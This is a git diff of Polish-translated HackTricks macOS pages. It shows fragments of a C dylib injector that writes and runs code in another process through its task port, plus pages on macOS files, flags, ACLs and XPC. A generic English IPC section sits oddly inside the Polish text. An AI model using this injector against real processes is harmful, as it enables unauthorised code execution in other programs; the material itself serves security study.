### Wstrzykiwanie dylib wątku za pomocą portu zadania
|
||||
|
||||
W systemie macOS **wątki** mogą być manipulowane za pomocą **Mach** lub za pomocą **api `pthread` posix**. Wątek, który wygenerowaliśmy w poprzednim wstrzykiwaniu, został wygenerowany za pomocą api Mach, więc **nie jest zgodny z posix**.
|
||||
W systemie macOS **wątki** mogą być manipulowane za pomocą **Mach** lub za pomocą **api `pthread` posix**. Wątek wygenerowany w poprzednim wstrzyknięciu został wygenerowany za pomocą api Mach, więc **nie jest zgodny z posix**.
|
||||
|
||||
Było możliwe **wstrzyknięcie prostego shellcode'u** w celu wykonania polecenia, ponieważ nie było konieczne korzystanie z api zgodnego z posix, tylko z Mach. **Bardziej złożone wstrzyknięcia** wymagałyby, aby **wątek** był również **zgodny z posix**.
|
||||
Było możliwe **wstrzyknięcie prostego shellcode'u** do wykonania polecenia, ponieważ **nie było konieczne korzystanie z api zgodnego z posix**, tylko z Mach. **Bardziej złożone wstrzyknięcia** wymagałyby, aby **wątek** był również **zgodny z posix**.
|
||||
|
||||
Dlatego, aby **ulepszyć wątek**, powinien on wywołać **`pthread_create_from_mach_thread`**, co spowoduje **utworzenie prawidłowego wątku pthread**. Następnie, ten nowy wątek pthread może **wywołać dlopen**, aby **załadować dylib** z systemu, dzięki czemu zamiast pisania nowego shellcode'u do wykonywania różnych działań, można załadować niestandardowe biblioteki.
|
||||
Dlatego, aby **ulepszyć wątek**, należy wywołać **`pthread_create_from_mach_thread`**, który **utworzy prawidłowy wątek pthread**. Następnie ten nowy wątek pthread może **wywołać dlopen**, aby **załadować dylib** z systemu, więc zamiast pisać nowy shellcode do wykonania różnych działań, można załadować niestandardowe biblioteki.
|
||||
|
||||
Można znaleźć **przykładowe dyliby** w (na przykład ten, który generuje logi, a następnie można ich słuchać):
|
||||
Możesz znaleźć **przykładowe dyliby** (na przykład taki, który generuje logi, które można później odczytać) w:
|
||||
|
||||
{% content-ref url="../../macos-dyld-hijacking-and-dyld_insert_libraries.md" %}
|
||||
[macos-dyld-hijacking-and-dyld\_insert\_libraries.md](../../macos-dyld-hijacking-and-dyld\_insert\_libraries.md)
|
||||
|
@ -782,7 +801,7 @@ return (-3);
|
|||
|
||||
|
||||
// Set the permissions on the allocated code memory
|
||||
```c
|
||||
```plaintext
|
||||
kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);
|
||||
|
||||
if (kr != KERN_SUCCESS)
|
||||
|
@ -791,7 +810,7 @@ fprintf(stderr,"Nie można ustawić uprawnień pamięci dla kodu zdalnego wątku
|
|||
return (-4);
|
||||
}
|
||||
|
||||
// Ustawienie uprawnień dla przydzielonej pamięci stosu
|
||||
// Ustawienie uprawnień na przydzielonej pamięci stosu
|
||||
kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);
|
||||
|
||||
if (kr != KERN_SUCCESS)
|
||||
|
@ -801,14 +820,14 @@ return (-4);
|
|||
}
|
||||
|
||||
|
||||
// Utworzenie wątku do uruchomienia kodu shell
|
||||
// Utworzenie wątku do uruchomienia shellcode'u
|
||||
struct arm_unified_thread_state remoteThreadState64;
|
||||
thread_act_t remoteThread;
|
||||
|
||||
memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) );
|
||||
|
||||
remoteStack64 += (STACK_SIZE / 2); // to jest prawdziwy stos
|
||||
//remoteStack64 -= 8; // wymagane wyrównanie do 16
|
||||
//remoteStack64 -= 8; // potrzebne wyrównanie do 16
|
||||
|
||||
const char* p = (const char*) remoteCode64;
|
||||
|
||||
|
@ -837,7 +856,7 @@ int main(int argc, const char * argv[])
|
|||
if (argc < 3)
|
||||
{
|
||||
fprintf (stderr, "Użycie: %s _pid_ _akcja_\n", argv[0]);
|
||||
fprintf (stderr, " _akcja_: ścieżka do dylib na dysku\n");
|
||||
fprintf (stderr, " _akcja_: ścieżka do pliku dylib na dysku\n");
|
||||
exit(0);
|
||||
}
|
||||
|
||||
|
@ -849,12 +868,32 @@ int rc = stat (action, &buf);
|
|||
if (rc == 0) inject(pid,action);
|
||||
else
|
||||
{
|
||||
fprintf(stderr,"Nie znaleziono dylib\n");
|
||||
fprintf(stderr,"Dylib nie znaleziony\n");
|
||||
}
|
||||
|
||||
}
|
||||
```
|
||||
</details>
|
||||
</details>
|
||||
|
||||
## macOS IPC (Inter-Process Communication)
|
||||
|
||||
### Mach Ports
|
||||
|
||||
Mach ports are endpoints for inter-process communication in macOS. They are used by processes to send messages and data to each other. Mach ports are a fundamental part of the macOS architecture and are essential for various system functions.
|
||||
|
||||
### XPC Services
|
||||
|
||||
XPC (XPC Services) is a lightweight inter-process communication mechanism used in macOS. XPC allows processes to communicate with each other in a secure and efficient manner. XPC services are commonly used for performing tasks that require elevated privileges or for isolating potentially risky operations.
|
||||
|
||||
### Distributed Objects
|
||||
|
||||
Distributed Objects is another inter-process communication mechanism in macOS that allows objects to be passed between processes. It enables communication between applications running on the same system or on different systems. Distributed Objects simplifies the development of distributed applications on macOS.
|
||||
|
||||
### NSXPCConnection
|
||||
|
||||
NSXPCConnection is a class in macOS that facilitates communication between processes using XPC. It provides a high-level interface for creating and managing XPC connections. NSXPCConnection abstracts the complexity of XPC and simplifies the implementation of secure inter-process communication in macOS applications.
|
||||
|
||||
Understanding these inter-process communication mechanisms is crucial for developing secure and efficient macOS applications. By leveraging these mechanisms properly, developers can ensure that their applications communicate effectively while maintaining the integrity and security of the system.
|
||||
```bash
|
||||
gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
|
||||
./inject <pid-of-mysleep> </path/to/lib.dylib>
|
||||
|
@ -871,17 +910,17 @@ W tej technice przechwytywany jest wątek procesu:
|
|||
|
||||
### Podstawowe informacje
|
||||
|
||||
XPC, co oznacza XNU (jądro używane przez macOS) Inter-Process Communication, to framework do **komunikacji między procesami** na macOS i iOS. XPC zapewnia mechanizm do **bezpiecznych, asynchronicznych wywołań metod między różnymi procesami** w systemie. Jest to część paradygmatu bezpieczeństwa Apple, umożliwiająca **tworzenie aplikacji z podziałem uprawnień**, gdzie każdy **komponent** działa z **tylko tymi uprawnieniami, które są mu potrzebne** do wykonania swojej pracy, ograniczając tym samym potencjalne szkody wynikające z skompromitowanego procesu.
|
||||
XPC, co oznacza XNU (jądro używane przez macOS) Komunikację Międzyprocesową, to framework do **komunikacji między procesami** na macOS i iOS. XPC zapewnia mechanizm dokonywania **bezpiecznych, asynchronicznych wywołań metod między różnymi procesami** w systemie. Jest to część paradygmatu bezpieczeństwa Apple, pozwalająca na **tworzenie aplikacji z podziałem uprawnień**, gdzie każdy **komponent** działa tylko z **uprawnieniami, których potrzebuje** do wykonania swojej pracy, ograniczając tym samym potencjalne szkody wynikające z skompromitowanego procesu.
|
||||
|
||||
Aby uzyskać więcej informacji na temat tego, jak **działa ta komunikacja** i jak **może być podatna na ataki**, sprawdź:
|
||||
Aby uzyskać więcej informacji na temat tego, jak ta **komunikacja działa** i jak **może być podatna**, sprawdź:
|
||||
|
||||
{% content-ref url="../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/" %}
|
||||
[macos-xpc](../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## MIG - Mach Interface Generator
|
||||
## MIG - Generator Interfejsu Mach
|
||||
|
||||
MIG został stworzony w celu **uproszczenia procesu tworzenia kodu Mach IPC**. W zasadzie **generuje wymagany kod** dla serwera i klienta w celu komunikacji z określoną definicją. Nawet jeśli wygenerowany kod jest brzydki, programista będzie musiał go tylko zaimportować, a jego kod będzie znacznie prostszy niż wcześniej.
|
||||
MIG został stworzony, aby **uproszczyć proces tworzenia kodu IPC Mach**. W zasadzie **generuje wymagany kod** do komunikacji serwera i klienta z daną definicją. Nawet jeśli wygenerowany kod jest brzydki, deweloper będzie musiał tylko go zaimportować, a jego kod będzie znacznie prostszy niż wcześniej.
|
||||
|
||||
Aby uzyskać więcej informacji, sprawdź:
|
||||
|
||||
|
@ -889,7 +928,7 @@ Aby uzyskać więcej informacji, sprawdź:
|
|||
[macos-mig-mach-interface-generator.md](../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Odwołania
|
||||
## Odnośniki
|
||||
|
||||
* [https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)
|
||||
* [https://knight.sc/malware/2019/03/15/code-injection-on-macos.html](https://knight.sc/malware/2019/03/15/code-injection-on-macos.html)
|
||||
|
@ -903,10 +942,10 @@ Aby uzyskać więcej informacji, sprawdź:
|
|||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
|
||||
* Uzyskaj [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,95 +1,96 @@
|
|||
# Pliki, Foldery, Binarki i Pamięć w macOS
|
||||
# macOS Pliki, Foldery, Binaria i Pamięć
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
|
||||
|
||||
</details>
|
||||
|
||||
## Układ hierarchii plików
|
||||
|
||||
* **/Applications**: Zainstalowane aplikacje powinny znajdować się tutaj. Wszyscy użytkownicy będą miały do nich dostęp.
|
||||
* **/bin**: Binarki wiersza poleceń
|
||||
* **/cores**: Jeśli istnieje, służy do przechowywania zrzutów pamięci jądra
|
||||
* **/dev**: Wszystko jest traktowane jako plik, więc tutaj można znaleźć urządzenia sprzętowe.
|
||||
* **/Applications**: Zainstalowane aplikacje powinny być tutaj. Wszyscy użytkownicy będą miały do nich dostęp.
|
||||
* **/bin**: Binaria wiersza poleceń
|
||||
* **/cores**: Jeśli istnieje, służy do przechowywania zrzutów pamięci
|
||||
* **/dev**: Wszystko jest traktowane jako plik, więc tutaj można znaleźć przechowywane urządzenia sprzętowe.
|
||||
* **/etc**: Pliki konfiguracyjne
|
||||
* **/Library**: Wiele podkatalogów i plików związanych z preferencjami, pamięci podręcznej i dziennikami można znaleźć tutaj. Istnieje folder Library w katalogu głównym i w katalogu każdego użytkownika.
|
||||
* **/private**: Nieudokumentowane, ale wiele wymienionych folderów to dowiązania symboliczne do katalogu private.
|
||||
* **/sbin**: Podstawowe binarki systemowe (związane z administracją)
|
||||
* **/System**: Plik do uruchamiania OS X. Tutaj powinny znajdować się głównie pliki specyficzne dla Apple (nie firm trzecich).
|
||||
* **/tmp**: Pliki są usuwane po 3 dniach (to miękie połączenie do /private/tmp)
|
||||
* **/Library**: Można tu znaleźć wiele podkatalogów i plików związanych z preferencjami, pamięci podręcznej i logami. Istnieje folder Library w głównym katalogu oraz w katalogu każdego użytkownika.
|
||||
* **/private**: Nieudokumentowany, ale wiele wspomnianych folderów to łącza symboliczne do katalogu private.
|
||||
* **/sbin**: Istotne binaria systemowe (związane z administracją)
|
||||
* **/System**: Plik do uruchamiania systemu OS X. Powinny znajdować się tutaj głównie pliki specyficzne dla Apple (nie firm trzecich).
|
||||
* **/tmp**: Pliki są usuwane po 3 dniach (to miękkie łącze do /private/tmp)
|
||||
* **/Users**: Katalog domowy użytkowników.
|
||||
* **/usr**: Konfiguracje i binarki systemowe
|
||||
* **/usr**: Konfiguracje i binaria systemowe
|
||||
* **/var**: Pliki dziennika
|
||||
* **/Volumes**: Zamontowane dyski pojawią się tutaj.
|
||||
* **/.vol**: Uruchomienie `stat a.txt` daje coś takiego jak `16777223 7545753 -rw-r--r-- 1 nazwaużytkownika grupa ...`, gdzie pierwsza liczba to numer identyfikacyjny woluminu, w którym znajduje się plik, a druga to numer i-węzła. Możesz uzyskać dostęp do zawartości tego pliku za pomocą /.vol/ z tymi informacjami, uruchamiając `cat /.vol/16777223/7545753`
|
||||
* **/.vol**: Uruchamiając `stat a.txt` otrzymasz coś w rodzaju `16777223 7545753 -rw-r--r-- 1 nazwaużytkownika grupa ...`, gdzie pierwsza liczba to numer id woluminu, w którym plik istnieje, a druga to numer i-węzła. Możesz uzyskać dostęp do zawartości tego pliku poprzez /.vol/ z tymi informacjami, uruchamiając `cat /.vol/16777223/7545753`
|
||||
|
||||
### Foldery aplikacji
|
||||
### Foldery Aplikacji
|
||||
|
||||
* **Aplikacje systemowe** znajdują się w `/System/Applications`
|
||||
* **Zainstalowane** aplikacje zazwyczaj są instalowane w `/Applications` lub w `~/Applications`
|
||||
* **Dane aplikacji** można znaleźć w `/Library/Application Support` dla aplikacji działających jako root i `~/Library/Application Support` dla aplikacji działających jako użytkownik.
|
||||
* Aplikacje **sandboxed** są mapowane do folderu `~/Library/Containers`. Każda aplikacja ma folder o nazwie zgodnej z identyfikatorem pakietu aplikacji (`com.apple.Safari`).
|
||||
* Dane aplikacji można znaleźć w `/Library/Application Support` dla aplikacji działających jako root oraz `~/Library/Application Support` dla aplikacji działających jako użytkownik.
|
||||
* Aplikacje **demona** firm trzecich, które **muszą działać jako root**, zazwyczaj znajdują się w `/Library/PrivilegedHelperTools/`
|
||||
* **Aplikacje z piaskownicą** są mapowane do folderu `~/Library/Containers`. Każda aplikacja ma folder nazwany zgodnie z identyfikatorem pakietu aplikacji (`com.apple.Safari`).
|
||||
* **Jądro** znajduje się w `/System/Library/Kernels/kernel`
|
||||
* **Rozszerzenia jądra Apple** znajdują się w `/System/Library/Extensions`
|
||||
* **Rozszerzenia jądra firm trzecich** są przechowywane w `/Library/Extensions`
|
||||
|
||||
### Pliki z Wrażliwymi Informacjami
|
||||
|
||||
macOS przechowuje informacje, takie jak hasła, w kilku miejscach:
|
||||
macOS przechowuje informacje takie jak hasła w kilku miejscach:
|
||||
|
||||
{% content-ref url="macos-sensitive-locations.md" %}
|
||||
[macos-sensitive-locations.md](macos-sensitive-locations.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Podatne instalatory pkg
|
||||
### Narażone instalatory pkg
|
||||
|
||||
{% content-ref url="macos-installers-abuse.md" %}
|
||||
[macos-installers-abuse.md](macos-installers-abuse.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Rozszerzenia Specyficzne dla OS X
|
||||
## Specyficzne Rozszerzenia OS X
|
||||
|
||||
* **`.dmg`**: Pliki obrazów dysków Apple są bardzo częste dla instalatorów.
|
||||
* **`.kext`**: Musi mieć określoną strukturę i jest to wersja OS X sterownika. (to jest paczka)
|
||||
* **`.kext`**: Musi przestrzegać określonej struktury i jest to wersja sterownika dla OS X. (jest to pakiet)
|
||||
* **`.plist`**: Znany również jako lista właściwości, przechowuje informacje w formacie XML lub binarnym.
|
||||
* Może być XML lub binarny. Binarne można odczytać za pomocą:
|
||||
* Może być XML lub binarny. Binarny można odczytać za pomocą:
|
||||
* `defaults read config.plist`
|
||||
* `/usr/libexec/PlistBuddy -c print config.plsit`
|
||||
* `plutil -p ~/Library/Preferences/com.apple.screensaver.plist`
|
||||
* `plutil -convert xml1 ~/Library/Preferences/com.apple.screensaver.plist -o -`
|
||||
* `plutil -convert json ~/Library/Preferences/com.apple.screensaver.plist -o -`
|
||||
* **`.app`**: Aplikacje Apple, które mają strukturę katalogu (to jest paczka).
|
||||
* **`.app`**: Aplikacje Apple, które stosują strukturę katalogów (jest to pakiet).
|
||||
* **`.dylib`**: Biblioteki dynamiczne (podobne do plików DLL w systemie Windows)
|
||||
* **`.pkg`**: Są takie same jak xar (format rozszerzalnego archiwum). Polecenie installer może być używane do instalacji zawartości tych plików.
|
||||
* **`.pkg`**: Są takie same jak xar (format archiwum rozszerzalny). Polecenie installer może być użyte do zainstalowania zawartości tych plików.
|
||||
* **`.DS_Store`**: Ten plik znajduje się w każdym katalogu, zapisuje atrybuty i dostosowania katalogu.
|
||||
* **`.Spotlight-V100`**: Ten folder pojawia się w katalogu głównym każdego woluminu w systemie.
|
||||
* **`.metadata_never_index`**: Jeśli ten plik znajduje się w głównym katalogu woluminu, Spotlight nie będzie indeksować tego woluminu.
|
||||
* **`.Spotlight-V100`**: Ten folder pojawia się w głównym katalogu każdego woluminu w systemie.
|
||||
* **`.metadata_never_index`**: Jeśli ten plik znajduje się w głównym katalogu woluminu, Spotlight nie zaindeksuje tego woluminu.
|
||||
* **`.noindex`**: Pliki i foldery z tym rozszerzeniem nie będą indeksowane przez Spotlight.
|
||||
|
||||
### Paczki macOS
|
||||
### Pakiety macOS
|
||||
|
||||
Paczka to **katalog**, który **wygląda jak obiekt w Finderze** (przykładem paczki są pliki `*.app`).
|
||||
Pakiet to **katalog**, który **wygląda jak obiekt w Finderze** (przykładem pakietu są pliki `*.app`).
|
||||
|
||||
{% content-ref url="macos-bundles.md" %}
|
||||
[macos-bundles.md](macos-bundles.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Dyld Shared Cache
|
||||
## Współdzielona Pamięć Dyld
|
||||
|
||||
W macOS (i iOS) wszystkie współdzielone biblioteki systemowe, takie jak frameworki i dyliby, są **łączone w pojedynczy plik**, zwany **dyld shared cache**. Poprawia to wydajność, ponieważ kod może być ładowany szybciej.
|
||||
Na macOS (i iOS) wszystkie wspólne biblioteki systemowe, takie jak ramki i dyliby, są **łączone w pojedynczy plik**, zwany **współdzieloną pamięcią dyld**. Poprawia to wydajność, ponieważ kod może być ładowany szybciej.
|
||||
|
||||
Podobnie jak dyld shared cache, jądro i rozszerzenia jądra również są kompilowane do pamięci podręcznej jądra, która jest ładowana podczas uruchamiania systemu.
|
||||
Podobnie jak współdzielona pamięć dyld, jądro i rozszerzenia jądra również są kompilowane do pamięci podręcznej jądra, która jest ładowana podczas uruchamiania systemu.
|
||||
|
||||
Aby wyodrębnić biblioteki z pojedynczego pliku dylib shared cache, można było użyć binarnego narzędzia [dyld\_shared\_cache\_util](https://www.mbsplugins.de/files/dyld\_shared\_cache\_util-dyld-733.8.zip), które obecnie może nie działać, ale można również użyć [**dyldextractor**](https://github.com/arandomdev/dyldextractor):
|
||||
Aby wyodrębnić biblioteki z pojedynczego pliku współdzielonej pamięci dylib, można było użyć binarnego [dyld\_shared\_cache\_util](https://www.mbsplugins.de/files/dyld\_shared\_cache\_util-dyld-733.8.zip), który obecnie może nie działać, ale można również użyć [**dyldextractor**](https://github.com/arandomdev/dyldextractor):
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -103,12 +104,12 @@ dyldex_all [dyld_shared_cache_path] # Extract all
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
W starszych wersjach możesz znaleźć **współdzielone dane podręczne** w **`/System/Library/dyld/`**.
|
||||
W starszych wersjach możesz znaleźć **współdzielone pamięci podręczne** w **`/System/Library/dyld/`**.
|
||||
|
||||
W systemie iOS możesz je znaleźć w **`/System/Library/Caches/com.apple.dyld/`**.
|
||||
|
||||
{% hint style="success" %}
|
||||
Należy zauważyć, że nawet jeśli narzędzie `dyld_shared_cache_util` nie działa, można przekazać **współdzielony plik dyld do Hoppera**, a Hopper będzie w stanie zidentyfikować wszystkie biblioteki i pozwolić na **wybór** tej, którą chcesz zbadać:
|
||||
Zauważ, że nawet jeśli narzędzie `dyld_shared_cache_util` nie działa, możesz przekazać **współdzielony plik dyld do Hoppera** i Hopper będzie w stanie zidentyfikować wszystkie biblioteki i pozwolić ci **wybrać, którą chcesz zbadać**:
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (680).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
@ -117,42 +118,82 @@ Należy zauważyć, że nawet jeśli narzędzie `dyld_shared_cache_util` nie dzi
|
|||
|
||||
### Uprawnienia folderów
|
||||
|
||||
W **folderze**, **odczyt** pozwala na **wyświetlanie zawartości**, **zapis** pozwala na **usuwanie** i **zapisywanie** plików w nim, a **wykonanie** pozwala na **przechodzenie** przez katalog. Na przykład, użytkownik z **uprawnieniami do odczytu pliku** wewnątrz katalogu, w którym nie ma **uprawnienia do wykonania**, **nie będzie mógł odczytać** pliku.
|
||||
W **folderze**, **odczyt** pozwala na **wylistowanie go**, **zapis** pozwala na **usunięcie** i **zapis** plików w nim, a **wykonanie** pozwala na **przejście** przez katalog. Na przykład użytkownik z **uprawnieniami do odczytu pliku** wewnątrz katalogu, w którym **nie ma uprawnień do wykonania**, **nie będzie mógł odczytać** pliku.
|
||||
|
||||
### Modyfikatory flag
|
||||
|
||||
Istnieją pewne flagi, które można ustawić w plikach, które sprawią, że plik będzie zachowywał się inaczej. Możesz **sprawdzić flagi** plików wewnątrz katalogu za pomocą polecenia `ls -lO /ścieżka/do/katalogu`
|
||||
Istnieją pewne flagi, które można ustawić w plikach, które sprawią, że plik będzie zachowywał się inaczej. Możesz **sprawdzić flagi** plików wewnątrz katalogu za pomocą `ls -lO /ścieżka/do/katalogu`
|
||||
|
||||
* **`uchg`**: Znana jako flaga **uchange**, uniemożliwia **zmianę lub usunięcie** pliku. Aby ją ustawić, wykonaj: `chflags uchg plik.txt`
|
||||
* **`uchg`**: Znana jako flaga **uchange** uniemożliwi **dokonanie jakiejkolwiek zmiany** lub usunięcie **pliku**. Aby ją ustawić, wykonaj: `chflags uchg plik.txt`
|
||||
* Użytkownik root może **usunąć flagę** i zmodyfikować plik
|
||||
* **`restricted`**: Ta flaga powoduje, że plik jest **chroniony przez SIP** (nie można dodać tej flagi do pliku).
|
||||
* **`Sticky bit`**: Jeśli katalog ma ustawiony sticky bit, **tylko** właściciel katalogu lub root może **zmieniać nazwę lub usuwać** pliki. Zazwyczaj jest to ustawiane w katalogu /tmp, aby zwykli użytkownicy nie mogli usuwać ani przenosić plików innych użytkowników.
|
||||
* **`restricted`**: Ta flaga sprawia, że plik jest **chroniony przez SIP** (nie można dodać tej flagi do pliku).
|
||||
* **`Sticky bit`**: Jeśli katalog ma ustawiony bit sticky, **tylko** właściciel katalogu lub root może zmienić nazwę lub usunąć pliki. Zazwyczaj jest to ustawione w katalogu /tmp, aby zapobiec zwykłym użytkownikom usuwania lub przenoszenia plików innych użytkowników.
|
||||
|
||||
Wszystkie flagi można znaleźć w pliku `sys/stat.h` (znajdź go za pomocą `mdfind stat.h | grep stat.h`) i są:
|
||||
|
||||
* `UF_SETTABLE` 0x0000ffff: Maska flag, które można zmieniać właścicielowi.
|
||||
* `UF_NODUMP` 0x00000001: Nie zapisuj pliku.
|
||||
* `UF_IMMUTABLE` 0x00000002: Plik nie może być zmieniany.
|
||||
* `UF_APPEND` 0x00000004: Zapisywanie do pliku może być tylko dodawane.
|
||||
* `UF_OPAQUE` 0x00000008: Katalog jest nieprzezroczysty w stosunku do unii.
|
||||
* `UF_COMPRESSED` 0x00000020: Plik jest skompresowany (niektóre systemy plików).
|
||||
* `UF_TRACKED` 0x00000040: Brak powiadomień o usuwaniu/zmianie nazwy dla plików z tą flagą.
|
||||
* `UF_DATAVAULT` 0x00000080: Wymagane uprawnienie do odczytu i zapisu.
|
||||
* `UF_HIDDEN` 0x00008000: Wskazówka, że ten element nie powinien być wyświetlany w interfejsie graficznym.
|
||||
* `SF_SUPPORTED` 0x009f0000: Maska flag obsługiwanych przez superużytkownika.
|
||||
* `SF_SETTABLE` 0x3fff0000: Maska flag zmienialnych przez superużytkownika.
|
||||
* `SF_SYNTHETIC` 0xc0000000: Maska flag systemowych tylko do odczytu.
|
||||
* `SF_ARCHIVED` 0x00010000: Plik jest zarchiwizowany.
|
||||
* `SF_IMMUTABLE` 0x00020000: Plik nie może być zmieniany.
|
||||
* `SF_APPEND` 0x00040000: Zapisywanie do pliku może być tylko dodawane.
|
||||
* `SF_RESTRICTED` 0x00080000: Wymagane uprawnienie do zapisu.
|
||||
* `SF_NOUNLINK` 0x00100000: Element nie może być usunięty, zmieniony nazwy ani zamontowany.
|
||||
* `SF_FIRMLINK` 0x00800000: Plik jest łączem stałym.
|
||||
* `SF_DATALESS` 0x40000000: Plik jest obiektem bez danych.
|
||||
|
||||
### **ACL plików**
|
||||
|
||||
ACL plików zawiera **ACE** (Access Control Entries), w których można przypisać bardziej **szczegółowe uprawnienia** różnym użytkownikom.
|
||||
ACL plików zawiera **ACE** (wpisy kontroli dostępu), w których można przypisać bardziej **dokładne uprawnienia** różnym użytkownikom.
|
||||
|
||||
Można nadać **katalogowi** następujące uprawnienia: `list`, `search`, `add_file`, `add_subdirectory`, `delete_child`, `delete_child`.\
|
||||
Możliwe jest nadanie **katalogowi** tych uprawnień: `list`, `search`, `add_file`, `add_subdirectory`, `delete_child`, `delete_child`.\
|
||||
A plikowi: `read`, `write`, `append`, `execute`.
|
||||
|
||||
Gdy plik zawiera ACL, **znajdziesz znak "+" przy wyświetlaniu uprawnień, jak w**:
|
||||
Gdy plik zawiera ACL, zobaczysz **"+" podczas wyświetlania uprawnień, jak w**:
|
||||
```bash
|
||||
ls -ld Movies
|
||||
drwx------+ 7 username staff 224 15 Apr 19:42 Movies
|
||||
```
|
||||
Możesz **odczytać ACL** pliku za pomocą:
|
||||
Możesz **odczytać ACL-e** pliku za pomocą:
|
||||
```bash
|
||||
ls -lde Movies
|
||||
drwx------+ 7 username staff 224 15 Apr 19:42 Movies
|
||||
0: group:everyone deny delete
|
||||
```
|
||||
Poniżej znajduje się **spis wszystkich plików z ACL** (to jest baaardzo wolne):
|
||||
Możesz znaleźć **wszystkie pliki z ACL** za pomocą (to jest baaardzo wolne):
|
||||
```bash
|
||||
ls -RAle / 2>/dev/null | grep -E -B1 "\d: "
|
||||
```
|
||||
### Resource Forks | macOS ADS
|
||||
### Rozszerzone atrybuty
|
||||
|
||||
To jest sposób na uzyskanie **Alternatywnych Strumieni Danych w systemach MacOS**. Możesz zapisać zawartość wewnątrz rozszerzonego atrybutu o nazwie **com.apple.ResourceFork** w pliku, zapisując go w **file/..namedfork/rsrc**.
|
||||
Rozszerzone atrybuty posiadają nazwę i wartość oraz mogą być widoczne za pomocą `ls -@` i manipulowane za pomocą polecenia `xattr`. Niektóre wspólne rozszerzone atrybuty to:
|
||||
|
||||
- `com.apple.resourceFork`: Zgodność z zasobami. Widoczne także jako `filename/..namedfork/rsrc`
|
||||
- `com.apple.quarantine`: MacOS: Mechanizm kwarantanny Gatekeepera (III/6)
|
||||
- `metadata:*`: MacOS: różne metadane, takie jak `_backup_excludeItem` lub `kMD*`
|
||||
- `com.apple.lastuseddate` (#PS): Data ostatniego użycia pliku
|
||||
